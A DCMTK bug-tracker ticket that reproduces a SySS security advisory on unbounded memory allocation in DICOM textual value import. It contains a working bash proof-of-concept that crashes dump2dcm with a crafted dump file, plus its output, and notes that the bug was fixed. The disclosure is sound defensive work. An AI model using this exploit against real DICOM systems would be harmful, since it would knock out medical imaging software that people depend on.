DCMTK - Bug #1247

SYSS-2026-050: Unbounded VM allocation in textual value import

2026-07-03 12:42 - Michael Onken

Status:	Closed	**Start date:**	2026-07-03
Priority:	Normal	**Due date:**	
Assignee:		**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmdata	**Compiler:**	All
Operating System:	All		

Description

As reported by Matthias Deeg (SySS GmbH):

SYSS-2026-050 — Unbounded VM allocation in textual value import

Field	Value
Advisory ID	SYSS-2026-050
Product	DCMTK (DICOM Toolkit)
Manufacturer	OFFIS e.V. / DCMTK Community
Affected Version(s)	3.7.0
Tested Version(s)	3.7.0
Vulnerability Type	Integer Overflow or Wraparound (CWE-190)
Risk Level	Medium
Solution Status	Open
Manufacturer Notification	2026-07-02
CVE Reference	Not yet assigned
Author of Advisory	Matthias Deeg, SySS GmbH

Overview

DCMTK is an open-source collection of libraries and applications implementing large parts the DICOM (Digital Imaging and Communications in Medicine) standard. [1]

DCMTK's textual value import is vulnerable to unbounded Value Multiplicity (VM) allocation. An attacker who can supply a crafted textual DICOM dump or XML/JSON import payload can cause memory exhaustion or heap buffer overflow via integer overflow in the typed array allocation.

Vulnerability Details

```
The function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)
counts backslash ('\') delimiters in a textual element value string and
returns the count as the VM:

  unsigned long DcmElement::determineVM(const char *str, const size_t len)
  {
      unsigned long vm = 0;
      if ((str != NULL) && (len > 0)) {
          vm = 1;
          const char *p = str;
          for (size_t i = 0; i < len; i++) {
              if (*p++ == '\\')
                  vm++;
```

```
          }
      }
      return vm;
  }
```

This value is used throughout the VR implementation to allocate typed arrays:

```
  - dcvrsl.cc:335: new Sint32[vm]
  - dcvrul.cc:       new Uint32[vm]
  - dcvrus.cc:       new Uint16[vm]
  - dcvrfd.cc:       new Float64[vm]
  - ... and many more
```

A crafted ASCII dump containing a numeric VR element with many backslash-separated tokens yields a large vm. Allocating Float64[vm] requires 8 * vm bytes before the converted binary value is inserted into the DICOM object. With sufficiently large inputs on 32-bit builds, vm * sizeof(T) can also overflow size_t, producing a small allocation that is subsequently written beyond bounds.

The attack chain is:

1. Attacker crafts a textual DICOM dump/XML/JSON with a numeric VR element (SL, UL, FD, etc.) whose value consists of a large number of backslash-delimited tokens

2. determineVM() counts the tokens and returns an unbounded vm

3. The VR putString() allocates new T[vm] without bounds checking

4. Memory exhaustion (DoS) or heap buffer overflow via integer overflow in the allocation size

This path is reached by APIs and tools that parse textual values into typed numeric VRs, e.g., dump2dcm calling DcmElement::putString().

Proof of Concept (PoC)

The following exploit script creates a specially crafted ASCII DICOM dump file with a numeric VR element (SL) containing many backslash-separated tokens. This file is processed with dump2dcm under a memory limit to trigger the memory exhaustion (std::bad_alloc).

```
cat > poc.sh << 'EOPOC'
#!/bin/bash
#
# POC Exploit for unbounded VM allocation in dump2dcm
# Proof of concept exploit for SYSS-2026-050
#
# Creates a crafted ASCII DICOM dump with a numeric VR element (SL)
# containing NUM_VALUES backslash-separated tokens, then feeds it
# to dump2dcm under a memory limit to trigger std::bad_alloc.
#

set -euo pipefail

DUMP2DCM="dump2dcm"
WORKDIR="/tmp/dump2dcm_poc_$$"
NUM_VALUES=4000000   # 4 million values -> Sint32[4000000] = 16 MB allocation
MEMORY_LIMIT=24576   # 24 MB virtual memory limit

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"

echo "=== PoC: Unbounded VM Allocation in dump2dcm ==="
echo ""
```

```
echo "Vulnerability: DcmElement::determineVM() counts backslash delimiters"
echo "               without bounds, causing new Sint32[vm] to allocate"
echo "               vm * 4 bytes without any cap."
echo ""
echo "Configuration:"
echo "  Values (VM):      $NUM_VALUES"
echo "  Allocation:       Sint32[$NUM_VALUES] = $(( NUM_VALUES * 4 / 1024 / 1024 )) MB"
echo "  Memory limit:     ${MEMORY_LIMIT} KB ($(( MEMORY_LIMIT / 1024 )) MB)"
echo "  dump2dcm:         $DUMP2DCM"
echo ""

mkdir -p "$WORKDIR"

DUMP_FILE="$WORKDIR/exploit.dump"
OUTPUT_FILE="$WORKDIR/exploit.dcm"

echo "[*] Generating crafted ASCII DICOM dump with $NUM_VALUES backslash-delimited values ..."

# Generate the payload using Python (avoids shell escaping issues)
python3 "$SCRIPT_DIR/generate_payload.py" "$NUM_VALUES" > "$DUMP_FILE"

DUMP_SIZE=$(du -sh "$DUMP_FILE" | cut -f1)
echo "[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)"

echo ""
echo "[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)..."
echo ""

# Run dump2dcm with memory limit
# +l sets max line length to 10M to accommodate the crafted SL element
ulimit -v "$MEMORY_LIMIT"
OUTPUT=$("$DUMP2DCM" +l 10000000 "$DUMP_FILE" "$OUTPUT_FILE" 2>&1) && EXIT_CODE=0 || EXIT_CODE=$?

echo "---"
echo "Result:"
echo "  Exit code: $EXIT_CODE"
echo "  Output:"
echo "$OUTPUT" | tail -20
echo ""

# Clean up
rm -rf "$WORKDIR"

if [ $EXIT_CODE -ne 0 ]; then
    echo "[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE"
    echo "    The unbounded VM allocation exhausted memory as expected."
else
    echo "[-] FAIL: dump2dcm did not crash. The allocation may have succeeded."
fi

echo ""
echo "=== PoC complete ==="
EOPOC

The following output shows a successful exploit crashing dump2dcm.

./poc.sh
=== PoC: Unbounded VM Allocation in dump2dcm ===

Vulnerability: DcmElement::determineVM() counts backslash delimiters
               without bounds, causing new Sint32[vm] to allocate
               vm * 4 bytes without any cap.

Configuration:
  Values (VM):      4000000
  Allocation:       Sint32[4000000] = 15 MB
  Memory limit:     24576 KB (24 MB)
```

```
  dump2dcm:          dump2dcm

[*] Generating crafted ASCII DICOM dump with 4000000 backslash-delimited values ...
[+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M)

[*] Running dump2dcm under memory limit (ulimit -v 24576)...

---
Result:
  Exit code: 134
  Output:
terminate called after throwing an instance of 'std::bad_alloc'
  what():  std::bad_alloc

[+] SUCCESS: dump2dcm crashed with exit code 134
    The unbounded VM allocation exhausted memory as expected.

=== PoC complete ===
```

Solution

Cap the VM at a reasonable maximum and check for overflow when computing the allocation size.

Disclosure Timeline

```
2026-07-02: Vulnerability reported to manufacturer
```

References

- DCMTK project website https://dcmtk.org/en/
- SySS Security Advisory SYSS-2026-050 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-050.txt
- SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy

Credits


```
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
```


Disclaimer

Copyright

History

#1 - 2026-07-03 14:32 - Michael Onken

- Status changed from New to Resolved

Fixed with commit 9cb99f1b0279e3e40243a8b9bd974edf78597a14

#2 - 2026-07-06 19:17 - Michael Onken

- Status changed from Resolved to Closed

- Private changed from Yes to No